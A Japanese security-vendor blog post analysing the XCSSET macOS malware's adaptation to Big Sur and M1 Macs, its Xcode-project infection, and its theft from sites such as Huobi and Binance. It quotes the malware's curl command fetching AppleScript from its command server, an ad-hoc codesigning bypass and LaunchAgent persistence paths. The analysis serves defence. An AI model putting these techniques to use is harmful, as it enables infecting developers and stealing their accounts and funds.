マルウェア
Mac向けマルウェア「XCSSET」が最新のmacOS 11やM1チップ搭載端末に対応、攻撃手口を解説
2020年にトレンドマイクロは、Xcodeプロジェクトに感染してMacユーザを攻撃するマルウェア「XCSSET」を初めて発見しました。本ブログ記事では、XCSSETが最新のmacOS11やM1チップ搭載端末を含めARM64およびx86_64の両方のMac上で動作するように適合した方法やその他の注目すべきペイロードの変更点などの新たな調査結果について詳説します。
2020年にトレンドマイクロは、Xcodeプロジェクトに感染してMacユーザを攻撃するマルウェア「XCSSET」を初めて発見しました。当初は単発の事例で使用されたマルウェアファミリとして報告しましたが、今回の調査結果を踏まえ、現在も攻撃活動を続けているキャンペーンに分類しました。本ブログ記事では、XCSSETが最新のmacOS11やM1チップ搭載端末を含めARM64およびx86_64の両方のMac上で動作するように適合した方法やその他の注目すべきペイロードの変更点などの新たな調査結果について詳説します。
- 前回のブログ記事:Mac向けマルウェア「XCSSET」、正規ソフトを悪用しUXSS攻撃を実行
- 過去の技術解説(英語):The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits
- 過去の技術解説の続編(英語):XCSSET Update: Abuse of Browser Debug Modes, Findings from the C2 Server, and an Inactive Ransomware Module
XCSSETに関する前回の記事と技術解説では、XCSSETがXcode開発者にもたらす危険性およびmacOSの脆弱性2つを攻撃して感染端末から最大限の利益を得る方法について解説しました。さらに技術解説の続編では、弊社が発見した3つ目の脆弱性を攻撃する手口(エクスプロイト)について取り上げました。この攻撃手口では、ユニバーサル・クロスサイト・スクリプティング(UXSS)攻撃を実行するために既存のSafariを含むmacOSで一般に利用されるブラウザが悪用されました。
■ macOS 11 Big Surにおける変更点とキャンペーンの対応
2020年11月、AppleはARMベースのM1プロセッサを搭載した新しいMac製品とともにmacOS「Big Sur」をリリースしました。x86_64アーキテクチャ上で動作するソフトウェアは依然としてBig Surに組み込まれたエミュレータであるRosetta 2の助けを借りてmacOS 11上で実行させることができます。しかし多くのソフトウェア開発者はARM64をサポートできるように自身の利用するソフトウェアをアップデートする傾向にあります。
セキュリティベンダのKasperskyは、新しいM1チップを搭載したMac上で動作するマルウェアの新たなサンプルが発見されたことを報告しています。トレンドマイクロは遠隔操作サーバ(C&Cサーバ)からダウンロードされたバイナリファイルを確認したところ、x86_64アーキテクチャのみを含む3つのファイルを除くほぼすべてのファイルにx86_64およびARM64の両方のアーキテクチャが含まれていることを発見しました。M1チップへのサポートを追加するほかにXCSSETマルウェアは、macOS 11 Big Surに適合させた別の不正活動も実行します。
以前の記事での技術解説で述べたように、XCSSETはSafariの開発版を不正に利用してC&Cサーバから悪意あるSafariのフレームワークおよびそれに関連するJavaScriptバックドアを読み込みます。XCSSETはC&Cサーバ内にSafariのアップデートパッケージをホストしており、ユーザが利用するmacOSのバージョンに合わせたパッケージをダウンロードしてインストールします。新しくリリースされたBig Surに適合するために、「Safari 14」向けの新しいパッケージが追加されました(図1)。safari_remote.applescriptに示すように、XCSSETはユーザが利用する現在のブラウザおよびmacOSのバージョンに応じて適合するSafariのパッケージをダウンロードします(図2)。
Big Surを偽装した偽アプリも悪意のあるAppleScriptファイルから作成されます。C&Cサーバからアイコンファイルがダウンロードされてinfo.plistファイルが編集されると、偽アプリのアイコンは正規アプリのものを偽装したアイコンに変更されます。
このマルウェアの最新モジュール(新しいicons.phpモジュールなど)は、感染端末のmacOSに合わせてアイコンを変更します(図5)。例えば、macOSのバージョンが10.15またはそれ以前のものの場合、Finderを偽装した偽アイコンはFinder.icnsというファイル名でダウンロードされ、角が四角くなっています。(図3)。一方、macOSのバージョンが11.1の場合、偽アイコンはFinderBigSur.icnsというファイル名でダウンロードされ、Big Surが使用するアイコンのように角が丸くなっています(図4)。
■ macOS 11のセキュリティ機能を突破する
macOS Big Sur 11以降のベータ6にはコード改変をより適切に検出する新しいセキュリティ要件が含まれています。実行可能ファイルは実行が許可される前に署名が必要になりましたが、簡単なアドホック署名で十分です。ただし、Rosetta 2で実行されるx86バイナリをコンパイルしたものやIntelベースのプラットフォーム上で実行されるmacOS 11には適用されません。
すべてのAppleScriptモジュールでは、openコマンドの代わりに、悪意のあるAppleScriptから作成された偽アプリを実行するために新しいlaunchApp関数が使用されます(図6)。
しかし、ソースコードから分かるように、このマルウェアはmacOS 11の新しいセキュリティポリシーを巧妙に回避することができます。偽アプリや不正ファイルにはcodesign --force --deep -s -コマンドを用いてアドホックコード署名がされています。その後マルウェアはC&Cサーバからあらかじめアドホック署名が施された独自のオープンツールをダウンロードします。ただし、マルウェアが感染したmacOSのバージョンが10.15またはそれ以前のものの場合、システムに組み込まれたopenコマンドを使用してアプリを実行します。
オープンツールが実行する主な不正活動は以下のとおりです。
- アプリのバンドルを引数として要求する。例:open xcode.app
- {アプリのバンドル}\Contents\macOS\appletを起動する
- waitパラメータが含まれているかどうかを確認する。例:open xcode.app wait
- {アプリのバンドル}Contents\macOS\appletを起動する
- ターゲットアプリがプロセスに含まれているかどうかを以下のコマンドを用いて継続的に確認する。/bin/bash -c ps aux | grep -v grep | grep -ci '{アプリのバンドル}/Contents/macOS/applet' || echo 0 2>&1 &>/dev/null
興味深い点は、M1チップを搭載したMac上の偽アプリで/usr/bin/openコマンドが問題なく実行されるにもかかわらず、独自のオープンツールを使用していることです。
■ XCSSETのその他の機能およびペイロード
トレンドマイクロがXCSSETに関する技術解説の続編を発表してから数日後に、新しいドメイン「trendmicronano[.]com」がC&Cサーバに追加されているのを確認しました。このドメインには「trend micro」というキーワードが含まれていますが、弊社とは何の関係もありません。当該調査時点では、以下の有効なC&Cサーバのドメイン6つが同一のIPアドレス94[.]130[.]27[.]189を共有していました。
- Titian[.]com
- Findmymacs[.]com
- Statsmag[.]com
- Statsmag[.]xyz
- Adoberelations[.]com
- Trendmicronano[.]com
■ bootstrap.applescriptモジュールの変更点
バイナリPodsによって呼び出され、他の悪意あるAppleScriptモジュールを呼び出すロジックを含むbootstrap.applescriptモジュールにも注目すべき変更点がありました。
- ユーザ名が「apple_mac」のMac端末はM1チップを搭載した物理的端末として識別される。そしてARM64アーキテクチャ上で動作するように新しく作成されたMach-OファイルがM1チップ搭載端末上で正しく動作するかどうかをテストするために使用される(図8)
- screenモジュールの代わりに、新しいscreen_simモジュールを呼び出す(図9)
- Chromiumブラウザのサポートが追加される(図10)
- 以前のバージョンでは、言語にインドを表す「IN」が含まれている場合にのみchrome_dataモジュールおよびopera_dataモジュールが呼び出されることを確認(図11)。しかし今回の最新バージョンでは、replicatorモジュールとともにchrome_dataモジュールが呼び出される。また、opera_dataの呼び出しはコメントアウトされる(図12)
■ replicator.applescriptモジュールの変更点
replicator.applescriptモジュールは、ローカルのXcodeプロジェクトに悪意のあるコードを注入する役割を担っています。トレンドマイクロはこのモジュールを以前のバージョンと比較した結果、最新バージョンではより多くのファイル名が使用されることを確認しました。このモジュールが使用する新しいファイル名は以下のとおりです。
スクリプトのファイル名:
- Assets.xcassets
- Asset.xcasset
- xcassets.folder
- build.file
Mach-Oファイル名:
- cat
replicator.applescriptモジュールはビルドフェーズまたはビルドルール中に悪意のあるコンポーネントを呼び出す関数を注入することでXcodeプロジェクトに感染します。以前のバージョンでは、ビルドフェーズまたはビルドルール中に注入されたこれらのコードスニペットにはハードコードされたIDが割り当てられていましたが、最新バージョンではランダムなIDを自動的に生成する新たな関数が追加されました。下掲図13に示すロジックによると、このランダムなIDの末尾には必ず「AAC43A」という接尾辞が付きます。この接尾辞は、新たな感染活動に備えて古い感染スニペットを識別し削除するために使用されます(図14)。トレンドマイクロはこのマルウェアに感染したGitHubの公開リポジトリを10個見つけることができましたが、これらはすべて古いハードコード化されたIDを持っていました。最新の亜種に感染したリポジトリはまだ見つかっていません。
以前のバージョンでは、ビルドフェーズまたはビルドルール中に注入されたスクリプトはMach-O形式のバイナリファイルを「Pods」として参照するbashスクリプトファイルを呼び出しました(図15)。しかしこの最新バージョンでは、スクリプトはMach-O形式のバイナリファイル「cat」を直接呼び出し、現在「false」に設定されているAUTO_CLEAN_PROJ変数の値が割り当てられます(図16)。
■ agent.phpの変更点
ブラウザを操作するためのリクエストを処理する際に用いるコードを数多くホストするagent.phpからの最新のJavaScriptコードを弊社で分析したところ、以前のバージョンとは異なり、このマルウェアは以下のWebサイトから機密データを窃取しようと試みることもわかりました。
- 163.com
- Huobi
- binance.com
- nncall.net
- Envato
- login.live.com
暗号資産取引プラットフォーム「Huobi」に対しては、このマルウェアはアカウント情報を窃取するだけでなく、ユーザの暗号資産ウォレットアドレスを置き換えることが可能でした。これは、以前のバージョンには存在しなかった新機能です(図18)。
■ Mach-Oファイルにおける新たな発見
上記のとおりC&Cサーバから直接ダウンロードされたほぼすべてのバイナリファイルは、x86_64アーキテクチャで動作するMach-Oファイルからx86_64およびARM64の両方のアーキテクチャを持つユニバーサルバイナリに変更されていることがわかりましたが、例外として3つのバイナリファイルはARM64をサポートするようにアップデートされていませんでした。「cat」および「Pods」は、感染したXcodeプロジェクトがトリガーとなりMach-O形式のバイナリファイルに追加される一方、「open」は、悪意のあるAppleScriptのスクリプトファイルからコンパイルされたすべての偽アプリを実行するために利用されます。さらに調査を進めたところ、この3つのファイルがARM64をサポートするようにアップデートされなかった理由について新たな発見がありました。
Mach-O形式のバイナリファイル「cat」は、シェルスクリプトコンパイラ(shc)によって生成されます。shcは、入力されたシェルスクリプトファイルからローカルの実行バイナリファイルを生成するためのオープンソースのツールです。shcのソースコードはGitHubで公開されており、macOSではHomebrew、LinuxではYellowdog Updater Modified(YUM)やapt-getなどのローカルパッケージ管理ツールを利用して簡単にインストールできます。shcが生成したバイナリファイルを逆コンパイルできるUnShcというツールがありますが、最新バージョンのshcから生成されるファイルに対してはうまく動作しません。
このためトレンドマイクロは、適切なデバッグ手法を用いてcatからのペイロードをさらに調査する必要がありました。はじめに、catから復号されたシェルスクリプトを入手しました。このシェルスクリプトの主なペイロードは、C&Cサーバから別のMach-O形式のバイナリファイル「Pods」をダウンロードして実行することです(図19)。Podsもまたshcによって生成されたバイナリファイルで、catと同じファイルサイズを持っています。トレンドマイクロは同じデバッグ手法を用いて、Podsから復号されたシェルスクリプトを入手しました。
Podsから復号されたシェルスクリプトは、かなり複雑で、以下を実行することが確認されました。
- https://$TARGET_DOMAIN/apple/prepod.phpに接続し、リモートコマンドを取得しようと試みます。期待される戻り値はAppleScriptの文字列です。もし戻り値が空でない場合、osascript -eが呼び出されて実行されます。当該調査時点では、戻り値は空です。
- $HOME/Library/Caches/GameKit/.reportを読み込みます。このファイルが存在する場合、その内容をターゲットディレクトリとして使用します。ファイルが存在しない場合は、以下の中からランダムにパスを選択します。
- "$HOME/Library/Application Support/iCloud"
- "$HOME/Library/Application Scripts/com.apple.AddressBook.Shared"
- "$HOME/Library/Group Containers/group.com.apple.notes"
- "$HOME/Library/Containers/com.apple.routererd"
- $HOME/Library/Caches/GameKit/.plistを読み込みます。このファイルが存在する場合、その内容を永続化を確立するplistファイルのパスとして使用します。ファイルが存在しない場合は、以下の中からランダムにパスを選択します。
- "$HOME/Library/LaunchAgents/com.apple.net.core.plist"
- "$HOME/Library/LaunchAgents/com.apple.auditor.plist"
- "$HOME/Library/LaunchAgents/com.google.keystone.plist"
- "$HOME/Library/LaunchAgents/com.google.keystone.plist"
- macOSのosacompileコマンドを使用して、埋め込まれたAppleScript(図20)をコンパイルし、偽のXcode.appを取得します。埋め込まれたAppleScriptには暗号化された文字列がいくつか含まれており、解読を難しくしています。トレンドマイクロはこれを復号した結果、主なペイロードを発見しました。
- curl -sk -d 'user=<ユーザ名>&build_vendor=default&build_version=default' https://<ドメイン名>/apple/com.phpコマンドを実行して、com.phpにhttpリクエストを送信します。結果としてマルウェアは新しいAppleScriptファイルのコンテンツを取得します。このことから、このコンテンツはbootstrap.applescriptであると考えられます。
- osacompile -xコマンドを使用して、curlコマンドから取得したAppleScriptのコンテンツを実行専用AppleScriptにコンパイルし実行します。
- HOME/Library/Caches/GameKit/AppleKitファイルを作成し、Xcode.appの主要Mach-Oファイル(Contents/macOS/applet)のパスを書き込みます。
- $HOME/Library/Caches/GameKit/AppleKitを起動する$TARGET_PLIST_FILEファイルを作成します。そしてlaunchctl loadコマンドを呼び出してplistファイルを読み込みます。これによりAppleKitファイルが実行されるとともに偽のXcode.appが実行されます。
- 以下のファイルを書きこみます。
- "$HOME/Library/Caches/GameKit/.report" - "$TARGETDIR/Xcode.app" マルウェアによってコンパイルされるファイル
- "$HOME/Library/Caches/GameKit/.plist" - "$TARGET_PLIST_FILE" マルウェアによって作成され永続化を確立するファイル
- "$HOME/Library/Caches/GameKit/.domain" - マルウェアによって使用されるドメイン
- 最後にシェルスクリプト内の興味深い関数としてclean_proj(図21)があります。clean_projは、現在感染しているXcodeプロジェクトを駆除するために使用されます。clean_projを呼び出す条件は“$AUTOCLEAN=true”(図22)ですが、前述したように、当該調査時点での変数の値はfalseです。
■トレンドマイクロの対策
XCSSETによる脅威からシステムを保護するために、ユーザは、正規のマーケットからのみアプリをダウンロードしてください。
個人のお客様は、包括的なセキュリティを提供する「ウイルスバスター クラウド」を、またMacのみをご利用の場合は「ウイルスバスター for Mac」などのセキュリティソリューションをご利用ください。
法人のお客様は、XGenセキュリティを活用したUser Protectionソリューションが有効です。User Protectionソリューションは、ゲートウェイからエンドポイントに至るまで多層に渡る保護を提供し、ユーザへの影響を最小限に抑えます。
参考記事:
- 「XCSSET Quickly Adapts to macOS 11 and M1-based Macs」
by Steven Du, Dechao Zhao, Luis Magisa, Ariel Neimond Lazaro, Trend Micro
記事構成:岡本 勝之(セキュリティエバンジェリスト)
高橋 哲朗(スレットマーケティンググループ)
翻訳:益見 和宏(Core Technology Marketing, Trend Micro™ Research)